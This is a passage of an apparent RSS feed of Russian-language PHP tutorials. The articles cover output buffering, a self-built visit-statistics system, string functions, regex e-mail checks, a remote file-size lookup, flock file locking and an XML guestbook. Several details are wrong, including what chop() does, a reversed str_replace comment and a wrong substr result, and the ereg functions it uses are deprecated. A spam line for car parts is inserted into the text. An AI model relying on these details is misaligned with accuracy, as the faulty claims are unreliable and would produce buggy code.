Теперь мы отделили «мух от котлет» и информация, которую будем «контент-мониторить», заключена у нас между HTML-комментариями. Остается включить буферизацию, в конце скрипта взять данные из буфера, выловить оттуда часть кода между комментариями, и обработать его на предмет модификации. По результатам этой обработки, а также в зависимости от запроса клиента, отослать HTTP заголовки. Все это будет делать скрипт, который надо подключить ко всем Вашим скриптам. Делается это так: в начале каждого файла, сразу после строчки &lt;?php вставляем код<br />
<br />
ob_start(); // Слежение за контентом – запускаем буферизацию.<br />
<br />
а в конце, перед строчкой ?&gt; код<br />
<br />
include_once('content_monitoring.inc.php'); // Слежение за контентом – подключаем исполняемый скрипт.<br />
<br />
Первая строчка запускает буферизацию, чтобы можно было работать с тем, что генерирует скрипт, а вторая подключает скрипт, который работает с тем, что нагенерировала страница, откуда его подключили. Он проверяет, не модифицировалась ли она, и отсылает HTTP заголовки.<br />
<br />
Вот и вся теория, в общем-то. Добавлю еще, что данную систему можно расширить — например, сюда же можно присовокупить счетчик посещений. Но это уже выходит за рамки тематики данной статьи.]]></description>
			<pubDate>Sat, 27 Apr 2013 19:03:29 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/484]]></link>
		</item>
		<item>
			<title>Создание системы учета посещений</title>
			<description><![CDATA[У вас может возникнуть вопрос, зачем это нужно? Свои услуги предлагают более десятка российских и огромное множество иностранных систем статистики. Так зачем лишний раз напрягаться, писать и отлаживать скрипты, создавать базы и, вообще, совершать какие-либо телодвижения, когда, потратив 10 минут, мы получим полноценную систему статистики, которая предлагает нам, просто, безграничное количество данных о пользователях нашего сайта?<br />
<br />
Причин две. Во-первых, &quot;внешняя&quot; система статистики создают ощутимую задержку в загрузке страницы. Во-вторых, одному интересно узнать больше о графической системе пользователя, другому - о версиях браузера, а третьему - время проведенное пользователем на его сайте. Но, как оказывается, одна система дает инормацию о графической системе, вторая - о времени посещений, третья - вообще, не дает такой инормации, зато наиболее точно считает количество посетителей. Что делать? Вот и начинаем мы с вами ставить на страницу один, два, а потом и все пять счетчиков, после чего, время загрузки полезной информации составит не более 10% от времени загрузки сайта. Это приведет к тому, что посетитель плюнет и уйдет (интернет-то большой) или информации о нем не попадет в системы статистики. Вот тут-то мы и приходим к осознанию того, что система нужна своя.<br />
<br />
Какие преимущества это дает? Во-первых, скорость загрузки. Цифры статистики можно вывести текстом, что не задержит загрузку, а обработка статистики будет производится на том же сервере, что и страница, что не внесет дополнительных задержек на установление связи с удаленным сервером. Во-вторых, такая система, изначально, будет соответствовать нашим запросам. Хотим - будем учитывать параметры графической системы пользователей, хотим - будем считать, сколько раз пришел за последние 15 секунд Вася Пупкин. В-третьих, так как такая система является неотъемлемой частью сайта, то не будет потеряно ни одного хита!<br />
<br />
Здесь я не буду приводит конкретных скриптов, потому, что это будет очень громоздко, да и не нужно, вы, ведь, пришли разобраться во всем этом? Я изложу только основные принципы.<br />
<br />
Для реализации подобной системы я использовал слудующее программное обеспечение:<br />
<br />
Базы данных: mySQL<br />
Скрипт: PHP<br />
Вебсервер: Apache.<br />
<br />
Сначала определимся, какие параметры мы хотим учитывать. Для себя я считаю важным знать, сколько пользователей пришло на сайт, сколько хитов они принесли, какие страницы посетили и откуда пришли и время каждого хита.<br />
<br />
Из этих данных можно вывести довольно много статистической информации. Так что этот аскетичный набор меня вполне устраивает. Исходя из этого, я создал три таблицы в базе данных:<br />
<br />
hits: Хранит подробную информацию о хитах за текущий день. Содержит следующие поля:<br />
<br />
Имя	Комментарий<br />
host	буквенное имя домена пользователя<br />
addr	IP адрес пользователя<br />
referer	ссылка, по которой пришел пользователь<br />
page	на какую страницу сайта пришел пользователь<br />
timest	время хита.<br />
<br />
hitsbypage: хранит инормацию за весь период по посещениям страниц сайта. Содержит следующие поля:<br />
<br />
Имя	Комментарий<br />
page	страница<br />
hits	количество хитов<br />
hosts	количество хостов<br />
<br />
referers: хранит информацию о ссылках, по которым приходят на сайт. Содержит следующие поля:<br />
<br />
Имя	Комментарий<br />
href	собственно, ссылка<br />
hits	количество посещений с этой ссылки<br />
<br />
hitsbydate: хранит информацию о хитах и хостах по дням. Содержит следующие поля:<br />
<br />
Имя	Комментарий<br />
date	дата<br />
hits	количество хитов<br />
hosts	количество хостов<br />
<br />
Возникает вопрос, откуда взять все эти данные? Вебсервер, при установлении сеанса устанавливает определенные переменные среды, которые доступны из скриптов на языке PHP. Прежде всего нас интересуют следующие:<br />
<br />
Переменная	Значение	<br />
$REQUEST_URI	адрес запрашиваемой страницы<br />
$REMOTE_HOST	домен пользователя (если установлен)<br />
$REMOTE_ADDR	IP адрес пользователя<br />
$HTTP_REFERER	Ссылка, по которой пришел пользователь (если таковая была, т.е. пользователь не набрал адрес сайта в браузере или выбрал из списка избранных сайтов)<br />
<br />
Теперь рассмотрим логику работы самой системы. Проверяем, не является ли значение поля $HTTP_REFERER новым (не содержится в таблице referers). Если новое, то добавляем его в нужную таблицу и устанавливаем количество хитов для него в 1. Если такая ссылка уже была, то, просто, увеличиваем количество хитов.<br />
<br />
Аналогичным образом проверяем адрес запрашиваемой страницы.<br />
<br />
Далее проверяем, были ли хиты сегодня. Если хитов небыло, значит, начался новый день и это первое посещение сегодня. Следовательно, удаляем все данные из таблицы hits, так как хранить всю информацию в ней нерентабельно. Затем вносим новую дату в таблицу hitsbydate и устанавливаем количество хитов и хостов для данной даты в 1. Если же новый день еще не наступил, то, проверив, не является ли IP адрес уникальным на сегодня, увеличиваем поля hits и hosts в таблице hitsbydate.<br />
<br />
И, наконец, заносим информацию в таблицу hits.<br />
<br />
Вот и все. Вся необходимая информация хранится в базах на сервере и доступна в любой момент для проведения дальнейшего статистического анализа.]]></description>
			<pubDate>Sat, 27 Apr 2013 18:59:38 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/483]]></link>
		</item>
		<item>
			<title>Обработка строк в РНР</title>
			<description><![CDATA[Одной из наиболее часто встречающихся задач в программировании является обработка символьных последовательностей. Если проще – строк. Как это делается на языке гипертекстового препроцессора РНР и есть тема этой статьи.<br />
<br />
Откуда и как можно получить символьнуюпоследовательность? В самом простомслучае – присвоить ее нужной переменной.Другие варианты – получить из формы илииз файла. Если Вы присваиваетепеременной нужное значение, то оно, какправило, не нуждается в обработке, таккак программист делает присвоение вкоде программы, и конечно, в нужном виде.Но если строка считывается из файла, илиполучается посредством формы, она (символьнаястрока) нуждается в обработке.<br />
<br />
Самое первое, что стоит сделать, это удалить повторяющиеся пробелы. Дляэтого в РНР есть специальная функция: chop(str);<br />
Пример ее записи:<br />
<br />
$str = chop ($str);<br />
<br />
В результате, обработанное значениестроки $str не будет содержатьповторяющихся пробелов. Если нужноубедиться в том, что строка не содержитпробелов в начале и в конце, применяетсяфункция trim(str); ( $str = trim ($str); ). Когдатребуется удалить пробелы только сначала строки, нужно использовать ltrim. Иесли уж зашла речь о начале строки,давайте убедимся, что первый символзаглавный. Что бы сделать его таковым,примените ucfirst(str); Есть и функция дляперевода во всех словах в строке ихпервых букв в заглавные - ucwords(str);. Крометого, очень часто бывает необходимосравнить строку с некоторым шаблоном.Частный случай – поиск в строке (о немнесколько позже). Но нет никакойгарантии, что полученная строка введенапользователем или получена из файла всоответствии с правилами правописания.Другими словами – строка можетсодержать в середине слова илипредложения чередующиеся заглавные ипрописные символы. Решение даннойпроблемы – в применении функций strtolower(str);и strtoupper(st);. Эти функции, соответственно,переводят символьные строки в нижний иверхний регистр. Комбинирование данныхвозможностей языка РНР приводит ккорректному построению строки независимо от того, как она была введенаили получена в начальном виде.<br />
<br />
Еще одна необходимая вещь при работе состроками – их обрезка. Часто онаприменяется при обработке форм дляввода данных. Представьте, что кто-нибудьиз Ваших «доброжелателей» введет в Вашугостевую книгу текст этой статьи.Представляете, что получится? Вот дляэтого и нужно ограничить количествовводимых символов в любом поле формы.Тем более что делается это очень просто.Для начала, нужно прописать ограничениев самой форме:<br />
<br />
&lt;input maxlength=&quot;100&quot; name=&quot;form&quot;&gt;<br />
<br />
Теперь форма с именем form ограничена вколичестве вводимых символов числом 100.Но это еще далеко не все. Дело в том, чтообойти такое ограничение очень просто, инужно оно скорее для того, что быпоказать посетителю предел ограничения.Дальше нужно воспользоваться функциейРНР $form =substr($form,0,99);. Этим вы простоотрезаете часть полученной строки,превышающую 100 символов (стоит цифра 99,так как счет символов начинается с нуля).Теперь все потуги Ваших знакомыхзавалить Вас информацией будут тщетны,так как Ваш умный скрипт не пропуститбольше определенного Вами количествасимволов.<br />
<br />
Собственно говоря, у функции substr(string, start,length); совсем другое предназначение. Онавозвращает часть строки string,определяемую параметрами start (начало) иlength (длина). Если параметр startположительный, то возвращаемая строкабудет начинаться с start-ого символастроки string.<br />
Примеры:<br />
<br />
$form = substr(&quot;abcdef&quot;, 1); // вернет &quot;bcdef&quot;<br />
$form = substr(&quot;abcdef&quot;, 1, 3); // вернет &quot;bcd&quot;<br />
<br />
Если параметр start отрицательный, товозвращаемая строка будет начинатьсяstart-ого символа от конца строки string.<br />
Примеры:<br />
<br />
$rest = substr(&quot;abcdef&quot;, -1); // вернет &quot;f&quot;<br />
$rest = substr(&quot;abcdef&quot;, -2); // вернет &quot;ef&quot;<br />
$rest = substr(&quot;abcdef&quot;, -3, 1); // вернет &quot;d&quot;<br />
<br />
Если параметр length указан и онположительный, то возвращаемая строказакончится за length символов от начала start.Это приведет к строке с отрицательнойдлиной (потому что начало будет законцом строки), поэтому возвращаемаястрока будет содержать один символ отначала строки start. Если length указан и онотрицательный, то возвращаемая строказакончится за length от конца строки string.Это опять приведет к строке сотрицательной длиной, поэтомувозвращаемая строка будет содержатьодин символ от начала строки start.<br />
Примеры:<br />
<br />
$rest = substr(&quot;abcdef&quot;, -1, -1); // вернет &quot;bcde&quot;<br />
<br />
Вот такая полезная функция. Кроме нее,при обработке данных формы очень важноуметь вырезать из полученной строкилишние или просто недопустимые символы.Можно в этом случае применитьспециальную функцию, которая заменяетвсе вхождения строки needle в строке haystackна указанную строку str. Эта функциязаписывается так: str_replace(needle, str, haystack);.Если вам не требуются причудливыеправила замены, то вам следует всегдаиспользовать эту функцию вместо ereg_replace().<br />
Примеры:<br />
<br />
$str = str_replace(&quot;&quot;, &quot;\n&quot;, $str); //вырезается символ ввода.<br />
$str = str_replace(&quot;red&quot;, &quot;black&quot;, $str); // встроке черный цвет будет заменен накрасный.<br />
<br />
Следующая важная и полезная функция –нахождение длинны строки. Синтаксис -strlen(string str);Пример – $a = strlen(“qwerty”);. Впеременной $a будет число 6, так какдлинна строки – 6 символов. Еще однаинтересная возможность языка РНР –перевод текста (а значит – и символьныхстрок) из одной кодировки в другую. Этоочень полезно, если нужно согласоватькодировки, например, сайта и почтовойпрограммы. Причем поддерживаются самыераспространенные русские кодировки: stringconvert_cyr_string(str, from, to);. Аргументы from и toявляются одним символом, которыйопределяет исходную и целевую кодовуютаблицу. Поддерживаемые типы:<br />
<br />
k - koi8-r<br />
w - windows-1251<br />
i - iso8859-5<br />
a - x-cp866<br />
d - x-cp866<br />
m - x-mac-cyrillic<br />
<br />
Htmlspecialchars - переводит специальныесимволы в коды HTML. Htmlspecialchars( string);Определенные символы имеют особоезначение в HTML и должны быть замененыкодами HTML, если они таковые имеют. Этафункция возвращает строки спроизведенными такими изменениями.Функция полезна для отчисткиполученного от пользователя текста отразметки HTML (доски сообщений, гостевыекниги). Осуществляются следующие замены:<br />
<br />
'&amp;' (амперсанд) становится '&amp;amp;'<br />
'&quot;' (двойные кавычки) становится '&amp;quot;'<br />
'&lt;' (знак меньше) становится '&amp;lt;'<br />
'&gt;' (знак больше) становится '&amp;gt;'<br />
<br />
Следует отметить, что эта функция незаменяет ничего, кроме указанного выше.Для полной обработки применяют функциюhtmlentities(). Она переводит все возможныесимволы в коды HTML. Htmlentities(string); Этафункция идентична htmlspecialchars() , кроме того,что все символы, которые имеютсоответствующий код HTML, заменяются наэтот HTML код. В настоящее времяприменяется кодовая таблица ISO-8859-1.<br />
<br />
Отдельно следует рассмотреть функциипоиска в строке. Strchr - Находит первоепоявление символа. strchr(haystack, needle); Этафункция является псевдонимом дляфункции strstr(), и полностью ей идентична.Возвращает все haystack с первого появлениястроки needle и до конца. Если параметр needleне найден, то возвращается false. Еслипараметр needle не является строкой, то онпереводится в целое число ирассматривается как числовое значениесимвола. Strrpos - Находит позициюпоследнего появления символа в строке.Strrpos(haystack, needle); Возвращает номер позициипоследнего появления символа needle встроке haystack. Следует отметить, что needle вэтом случае может быть толькоединственным символом. Если в качествепараметра needle указывается строка, тотолько первый символ будет использован.Если needle не найден, то возвращается false.Если параметр needle не является строкой,то он переводится в десятичное число ирассматривается как числовое значениесимвола. Strrchr -- Находит последнеепоявление символа в строке.<br />
Strrchr(haystack, needle); Эта функция возвращаетпозицию haystack, с которой начинаетсяпоследнее появление needle и продолжаетсядо конца haystack. Возвращает false если needle ненайдена. Если параметр needle содержитболее чем один символ, то используетсяпервый символ. Если параметр needle неявляется строкой, то он переводится вцелое число и рассматривается какчисловое значение символа.<br />
Пример:<br />
<br />
// получение всего после последней новойстроки<br />
$text = &quot;Line 1\nLine 2\nLine 3&quot;;<br />
$last = substr( strrchr( $text, 10 ), 1 );<br />
<br />
Strtok - разбивает строку. strtok( arg1, arg2);Используется для разбиения строки. Этозначит, что если вы имеете строку типа&quot;Как хорошо программировать&quot;, то выможете разбить эту строку на отдельныеслова, используя пробел в качестверазделителя.<br />
<br />
$string = &quot; Как хорошо программировать&quot;;<br />
$tok = strtok($string,&quot; &quot;);<br />
while($tok) { echo &quot;Word=$tok&lt;br&gt;&quot;; $tok = strtok(&quot;&quot;); }<br />
<br />
Следует отметить, что только первыйвызов функции strtok использует строковыйаргумент. Для каждого последующеговызова функции strtok необходим толькоразделитель, так как это позволяетконтролировать положение в текущейстроке. Для начала заново или дляразбития новой строки вам необходимопросто вызвать strtok с параметром строкиопять для ее инициализации. Вы можетевставлять несколько разделителей впараметр разделителя. Строка будетразделяться при обнаружении любого изуказанных символов. Также будьтевнимательны к разделителям равным&quot;0&quot;. Это может вызвать ошибку вопределенных выражениях.<br />
<br />
Вот то, что понадобится Вам для работы состроками в первую очередь. Тут приведендалеко не полный перечень всехстроковых функций. Рассмотрены только самые основные. <br />
<br />
С хорошей скидкой запчасти ниссан альмера регистрация за пять минут. Сжатые сроки.]]></description>
			<pubDate>Sat, 27 Apr 2013 18:59:15 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/482]]></link>
		</item>
		<item>
			<title>Регулярные выражения</title>
			<description><![CDATA[Что же такое регулярные выражения?<br />
<br />
Регулярные выражения - черезвычайно мощный инструмент работы со строками. С их помощью можно проводить анализ и изменение строк на основе заданного шаблона.<br />
<br />
Рассмотрим простые (далеко не все) правила формирования шаблона.<br />
<br />
Шаблон состовляется из набора модификаторов, некоторые из которых приведены в нижеследующей таблице.<br />
<br />
\ - Следующий символ является специальным. Так же применяется для указания символов, которые могут использоваться в качестве модификаторов.	\n - соответствует символу перевода строки<br />
\* - символ &quot;*&quot;, а * - модификатор<br />
^ - Маркер начала строки.	^abc - строка, начинающаяся с &quot;abc&quot;.<br />
$ - Маркер конца строки.	abc$ - строка, заканчивающаяся на &quot;abc&quot;.<br />
* - Предыдущий символ встречается 0 или больше раз.	Шаблону w* соответствуют строки what, buka, agwt<br />
+ - Предыдущий символ встречается 1 или больше раз.	Шаблону w+ соответствуют строки what, agwt.<br />
Строка buka уже не соответствует.<br />
? - Предыдущий символ встречается 0 или 1 раз.	Шаблону w?r соответствуют строки ara, awra.<br />
- Соответствует любому символу, отличному от &quot;\n&quot;.	<br />
<br />
Это простейшие модификаторы, знания которых нам пока хватит.<br />
<br />
В PHP существует несколько функций для работы с регулярными выражениями: ereg(), ereg_replace(), eregi(), ereg_replacei() и split().<br />
<br />
Функции с суффиксом i представляют из себя аналоги функций без этого суффикса, не чувствтительные к регистру операндов.<br />
<br />
Рассмотрим функцию ereg(), синтаксис которой:<br />
<br />
int ereg(string pattern, string string, array [regs]);<br />
<br />
Рассмотрим некоторый адрес maxx@mail.ru. Очевидно, что правдоподобный адрес должен иметь вид &quot;слово@слово.слово&quot;. В терминах шаблонов произвольный символ обозначается знаком &quot;.&quot; (мы не будем сейчас учитывать тот факт, что в адресах допустимы не все символы). В каждом слове должен быть по крайней мере один символ, таким образом, шаблон слова будет иметь вид &quot;.+&quot;. Вспомним теперь, что &quot;.&quot; - это модификатор, и для явного указания точки (в качестве символа) нужно писать &quot;\.&quot;.<br />
<br />
Таким образом шаблон будет иметь вид &quot;.+@.+\..+&quot;.<br />
<br />
Наша проверка будет иметь следующий вид:<br />
<br />
if (ereg(&quot;.+@.+\..+&quot;, $email)) {<br />
echo &quot;Адрес, вроде, правильный&quot;;<br />
}<br />
else {<br />
echo &quot;Введите, батенька, адрес заново&quot;;<br />
}]]></description>
			<pubDate>Sat, 27 Apr 2013 18:58:49 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/481]]></link>
		</item>
		<item>
			<title>Как узнать размер файла на каком-то веб-сервере</title>
			<description><![CDATA[Первый способ: скачать и посмотреть.<br />
<br />
Второй способ описан здесь.<br />
<br />
Чтобы это сделать, надо открыть сокет (установить соединение с удаленным веб-сервером). Сокет - это файл, в который можно писать и читать. Далее в сокет (как в файл) надо написать заголовок (HEAD filename ...). После считать из сокета то, что нам напишут. Для начала выведите это на экран, чтобы было понятно, что именно вам возвращают. В ответе сервера, что мы считаем, будет много полезной информации - тип и ОС сервера, дата модификации и размер файла, другая информации. Все, что надо - выдрать из текста нужное число и вывести его на экран.<br />
<br />
&lt;?<br />
<br />
$fname='/path-to-file/big-big-big.mpg';<br />
$fhost='www.super-mega.ru';<br />
<br />
$x=0;<br />
$fp = fsockopen($fhost, 80, &amp;$errno, &amp;$errstr, 30) or die(&quot;облом&quot;);<br />
<br />
fputs($fp,&quot;HEAD $fname HTTP/1.0\nHOST: $fhost\n\n&quot;);<br />
while(!feof($fp)) $x.=fgets($fp,128);<br />
fclose($fp);<br />
<br />
if (ereg(&quot;Content-Length: ([0-9]+)&quot;,$x,$size)) echo &quot;Размер файла $size[1] байт&quot;;<br />
else echo &quot;Определить невозможно&quot;;<br />
<br />
?&gt;]]></description>
			<pubDate>Sat, 27 Apr 2013 18:58:32 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/480]]></link>
		</item>
		<item>
			<title>Грамотная работа с файлами: исключительная блокировка файлов</title>
			<description><![CDATA[Итак, начнем с того, что же такое исключительная блокировка файла и для чего она необходима. Не секрет, что множество сайтов хранят свою информацию не в базах данных, а в простых тестовых файлах. Здесь мы не будем спорить, что лучше и хуже, мы просто поговорим о специфике работы с данными, хранящимися в файлах. Эти данные могут иметь различные форматы, различные структуры, но так или иначе манипуляцию этими данными мы должны взять на себя. Нужно четко понимать, что это бывает иногда сложней, чем кажется на первый взгляд. Действительно, когда Вы тестируете свои скрипты, все кажется идеальным: информация добавляется, информация удаляется... Но стоит только начать работу в сети и ситуация может кардинально измениться. В ситуации, когда со скриптом работает одновременно большое количество людей очень важно не потерять контроль над операциями работы с файлом. Возможны ситуации, когда двое или более людей одновременно запросят операции записи в файл и произойдет серьезный сбой, который повлечет потерю информации. Модель исключительной блокировки предотвращает подобные ситуации, &quot;разруливая&quot; процессы , работающие с файлом и не давая им одновременно выполнять опасные операции.<br />
<br />
Обычно работа с файлом (небезопасная модель без блокировки файла) представляет собой последовательность действий в виде: открытие файла (получение его дескриптора), работа с содержимым, закрытие файла. И в самом распространенном варианте выглядит так:<br />
<br />
&lt;?<br />
$fp = fopen (&quot;path_to_file&quot;,&quot;a&quot;);//ОТКРЫТИЕ<br />
fputs($fp ,&quot;$data\r\n&quot;);//РАБОТА С ФАЙЛОМ<br />
fclose ($fp);//ЗАКРЫТИЕ<br />
?&gt;<br />
<br />
Здесь мы открыли файл в режиме добавления информации в конец файла, записали в него порцию информации $data и затем закрыли его (Предполагается, что у нас есть права на запись в файл). Это самое простое и самое первое, что нам могло прийти в голову и что мы реализовали. Если вы уверены, что никаких проблем с файлом не возникнет или что у вас не так много посетителей, чтобы что-то сломалось, то это ваше право - можете закрыть статью и жить спокойно! ;) Но нужно что-то делать. Одним из примеров трагедий может служить сайт http://manlix.ru, в котором постоянно &quot;падает&quot; форум и/или счетчик посетителей. Я, конечно, не берусь судить, что только некорректная работа с файлами тому виной, но, по-моему, это очевидно. Пока число посетителей было сравнительно небольшим, все корректно функционировало, как только иногда одновременно стало появляться до 10 пользователей одновременно, начались казусы с счетчиком и форумом. Как же это преодолеть? Оказывается просто, всего лишь добавив несколько строк в операцию работы с файлами:<br />
<br />
&lt;?<br />
$fp = fopen (&quot;path_to_file&quot;,&quot;a&quot;);//открытие<br />
flock ($fp,LOCK_EX);//БЛОКИРОВКА ФАЙЛА<br />
fputs($fp ,&quot;$data\r\n&quot;);//работа с файлом<br />
fflush ($fp);//ОЧИЩЕНИЕ ФАЙЛОВОГО БУФЕРА И ЗАПИСЬ В ФАЙЛ<br />
flock ($fp,LOCK_UN);//СНЯТИЕ БЛОКИРОВКИ<br />
fclose ($fp);//закрытие<br />
?&gt;<br />
<br />
В данном примере мы открыли файл для добавления в него информации Предполагается, что у нас есть права на запись в файл). Затем применили исключительную блокировку и тем самым сделали наш скрипт единственным процессом, который в текущий момент имеет доступ к файлу. Блокировка действительна все время от выполнения функции flock ($fp,LOCK_EX) и до выполнения flock ($fp,LOCK_UN). Между этими функциями находятся операторы, выполнение которых будет &quot;безопасным&quot; для файла. Другие процессы смогут получить доступ к файлу не раньше снятия блокировки. Важным моментом является применение функции fflush ($fp). Транзакции изменения данных могут быть записаны с специальный файловый буфер и сброшены на диск позже, когда блокировка будет уже снята и снова будет опасность сбоя в работе. Поэтому данной функцией мы принудительно записываем изменения на диск, сбрасывая содержимое буфера. Еще одним не менее важным моментом является, само открытие файла! Мы не случайно используем режим &quot;a&quot; (&quot;a+&quot;). Если нам будет необходима запись в начало файла с удалением предыдущего содержимого, то следует воздержаться от применения режима &quot;w&quot; (&quot;w+&quot;), поскольку очищение файла предполагает удаление не только содержимого, но и самого файла с последующим созданием аналогичного. Так как этот процесс будет выполнен до исключительной блокировки, то также существует вероятность сбоя в работе. В данном случае стоит применять следующий прием :<br />
<br />
&lt;?<br />
$fp = fopen (&quot;path_to_file&quot;,&quot;a&quot;);//открытие<br />
flock ($fp,LOCK_EX);//блокировка файла<br />
ftruncate ($fp,0);//УДАЛЯЕМ СОДЕРЖИМОЕ ФАЙЛА<br />
fputs($fp ,&quot;$data\r\n&quot;);//работа с файлом<br />
fflush ($fp);//очищение файлового буфера и записьв файл<br />
flock ($fp,LOCK_UN);//снятие блокировки<br />
fclose ($fp);//закрытие<br />
?&gt;<br />
<br />
Здесь мы открыли файл для записи в него, затем применили исключительную блокировку, и только уж потом применили функцию ftruncate ($fp,0) которая выполнила так необходимую нам очистку файла от содержимого. Вот вроде бы и все, что я хотел вам для начала рассказать! Успехов Вам в нашем нелегком труде! До новых встреч, до новых статей!]]></description>
			<pubDate>Sat, 27 Apr 2013 18:58:09 +0300</pubDate>
			<link><![CDATA[http://shelek.com/view/web/479]]></link>
		</item>
		<item>
			<title>PHP и XML</title>
			<description><![CDATA[Итак, поговорим об XML. Что же это такое и почему многие профессиональные программисты предпочитают его всем другим форматам? И почему так много хвалебных отзывов со стороны тех, кто с ним столкнулся? И почему, наконец, так мало негативных отзывов от тех, кто с ним не сталкивался :-)? XML как язык (а это именно язык, только не программирования, а разметки) сформировался сравнительно недавно — официально первая редакция его спецификации была опубликована в 1998 году. Формат этот оказался настолько удачным, что сразу пришелся ко двору, и его реализации разошлись практически по всем языкам программирования (правда, пока еще в виде внешних модулей или обработчиков) — от Delphi до PHP. Однако русскоязычной документации по нему мало, а сам язык настолько масштабируем и гибок, что описать все области его применения просто невозможно. Поэтому отечественные программисты еще только начинают постигать тайны XML и пока лишь пытаются применять его на практике.<br />
<br />
Аббревиатура XML расшифровывается и переводится как «расширяемый язык разметки». И в этом вся его суть. В принципе, программист сам определяет формат файла и сам пишет его обработчик, используя для этого предоставляемые языком средства или разрабатывая собственные. Теперь никому не нужны километры исходного кода для обработки сотен текстовых файлов — все это легко заменяется одним XML-файлом и одним парсером (обработчиком).<br />
<br />
XML-файл является обыкновенным текстовым файлом, данные которого организованы таким образом, чтобы создать иерархическую структуру (дерево) тэгов. Имена и атрибуты тэгов программист придумывает самостоятельно, а правила их написания аналогичны таковым в HTML. Например, для книжного магазина:<br />
<br />
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br />
&lt;shop&gt;<br />
&lt;book author=”Donald Knuth”&gt;Art of programming&lt;/book&gt;<br />
&lt;book author=”Vasily Golovachev”&gt;Magacitly&lt;/book&gt;<br />
&lt;/shop&gt;<br />
<br />
Как видите, даже отвлеченный от программирования человек может понять, о чем идет речь в этом файле. Таким нехитрым способом, применяя древовидную структуру организации данных, разработчики достигают полного отделения содержимого (XML) от дизайна (HTML и прочее), в чем и состоит цель рассматриваемого языка разметки.<br />
<br />
Теперь об основных понятиях XML-разметки. Количество тэгов в файле не ограничено, равно как и количество их атрибутов. XML-документ должен быть составлен корректно, в соответствии со следующими правилами, многие из которых перекликаются со спецификацией HTML:<br />
<br />
1. &lt;?xml version=&quot;1.0&quot;?&gt; — в первой строке всегда содержится версия спецификации, но могут быть и дополнительные атрибуты — например, кодировка символов документа.<br />
<br />
2. В документе присутствует один и только один корневой элемент (парный тэг &lt;shop&gt; в нашем случае), подобно &lt;html&gt;&lt;/html&gt; в языке HTML. Все дочерние элементы могут содержать любое количество вложенных тэгов, которые, в свою очередь, тоже могут содержать любое количество потомков, за счет чего и обеспечивается древовидность.<br />
<br />
3. Все без исключения тэги должны иметь соответствующие закрывающие элементы. Если в HTML можно было, например, опустить некоторые закрывающие тэги, и это считалось правильным даже в соответствии со спецификацией, то в XML это недопустимо, так как моментально вызовет ошибку обработки. Правда, если в тэге не планируется создавать никаких вложенных элементов (будь то содержимое или другой тэг), то закрыть его можно несколько проще (например, &lt;song name=&quot;Only you&quot; /&gt; вместо &lt;song name=&quot;Only you&quot;&gt;&lt;/song&gt;)<br />
<br />
4. Все атрибуты тэгов нужно заключать в кавычки — двойные или одинарные.<br />
<br />
5. Все остальные правила, дабы не загромождать статью, читайте в спецификации, которая находится по адресу http://www.w3.org/TR/REC-xml.<br />
<br />
PHP и XML<br />
<br />
Итак, с XML более-менее разобрались. Во всяком случае, несложный структурированный файл в соответствии с правилами XML-разметки вы создать уже сможете, особенно зная основы HTML. Теперь давайте приступим к реализации функций обработки XML-содержимого на языке PHP.<br />
<br />
Думаю, не стоит особо распространяться о пользе PHP как серверного языка программирования. Все возможности Perl плюс «еще кое-что» — и мы имеем полноценный интерпретируемый язык программирования, выполняемый на стороне сервера. В дальнейшем предполагается, что сервер и PHP у вас уже установлены и должным образом настроены на совместную работу, и что вы имеете общие понятия об их функционировании и программировании (начинающим программистам рекомендуем ознакомиться с циклом Артема Шманцырева «Сервер племени апачей», МК №№38-40, 42, 44, 46, 50, 4, 9 (209-211, 213, 215, 217, 221, 227, 232) — примеч. ред.) Многие хостинг-провайдеры — это в основном относится к платным хостингам — предоставляют PHP, в конфигурации которого уже доступны модули обработки XML. Для домашней же платформы могу порекомендовать следующее.<br />
<br />
В последние версии PHP (начиная с версии 4.3.0 для платформы Windows, как самой распространенной) включена библиотека php_domxml.dll, которую нужно подключить к интерпретатору для получения доступа к функциям обработки XML (подобная библиотека есть и в Linux, но там она подключается несколько иначе). Эта библиотека находится в каталоге extension_dir, прописанном в конфигурационном файле php.ini, который в свою очередь лежит (или должен лежать) в вашей папке Windows. В этом же файле раскомментируйте строчку extension=php_domxml.dll, и вы получите возможность оперировать документами XML, применяя объектную модель Document Object Model, на которой мы сегодня подробно остановимся. Кстати, рассматривать возможности PHP по работе с XML-файлами мы будем на простейшем примере — мы напишем собственную гостевую книгу. Пример, конечно, идеализирован, но на серверах со скриптами я пока еще не встречал гостевых книг, написанных с применением XML. Поэтому, надеюсь, сегодняшние примеры будут для вас не только интересными, но и полезными.<br />
<br />
Для гостевой книги мы на сервере создадим файл с именем guest.xml, который будет содержать все оставленные записи в следующем формате:<br />
<br />
&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;<br />
&lt;guestbook&gt;<br />
&lt;message date=&quot;01.01.04&quot; time=&quot;11:22:25&quot; author=&quot;Cosmic&quot; email=“cosmic@mail.zp.ua” subject=&quot;New GB presented&quot;&gt;<br />
Message body. No HTML tags here.<br />
&lt;/message&gt;<br />
&lt;message date=&quot;01.01.04&quot; time=&quot;12:22:25&quot; author=&quot;Cosmic&quot; email=“cosmic@mail.zp.ua” subject=&quot;This is a subject&quot;&gt;<br />
Another message body<br />
&lt;/message&gt;<br />
&lt;message date=&quot;01.01.04&quot; time=&quot;10:22:25&quot; author=&quot;Cosmic&quot; email=“cosmic@mail.zp.ua” subject=&quot;i?ia?aiia&quot;&gt;<br />
Message body. Attention! Subject in UTF-8 encoding!<br />
&lt;/message&gt;<br />
&lt;/guestbook&gt;<br />
<br />
Как следует из первой строчки, наш XML-файл будет хранить данные в кодировке UTF-8. Для чего это нужно, вы узнаете чуть позже. Корневой элемент &lt;guestbook&gt; содержит множество дочерних элементов &lt;message&gt;, которые характеризуются атрибутами date (дата), time (время), author (автор), email (почтовый адрес) и subject (тема). В теле элемента &lt;message&gt; находится собственно тело сообщения. Как видите, все интуитивно понятно и немножко похоже на базу данных, в которой поля мы называем так, как сами того хотим.<br />
<br />
